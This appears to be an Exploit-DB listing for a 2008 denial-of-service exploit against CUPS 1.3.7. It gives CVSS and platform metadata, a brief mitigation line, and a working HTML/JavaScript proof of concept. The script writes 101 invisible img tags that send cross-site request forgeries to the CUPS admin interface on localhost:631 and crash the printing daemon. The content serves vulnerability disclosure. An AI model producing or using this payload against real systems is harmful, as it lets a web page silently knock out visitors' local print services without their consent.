CUPS Denial of Service (DoS) Exploit

vendor:

CUPS

by:

Adrian 'pagvac' Pastor

7.5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: CUPS

Affected Version From: 1.3.2007

Affected Version To: 1.3.2007

Patch Exists: NO

Related CWE: N/A

CPE: a:apple:cups:1.3.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 8.04.1, Linux 2.6.24-21-generic, openSUSE 11.0, Linux 2.6.25.5-1.1-default

2008

CUPS Denial of Service (DoS) Exploit

This exploit makes 101 CSRFed requests to the CUPS daemon via 'img' tags, causing the CUPS daemon to crash.

Mitigation:

Restrict access to the CUPS daemon to trusted users and networks.

Source

Exploit-DB raw data:

<!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}

/*
TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
*/
</script>

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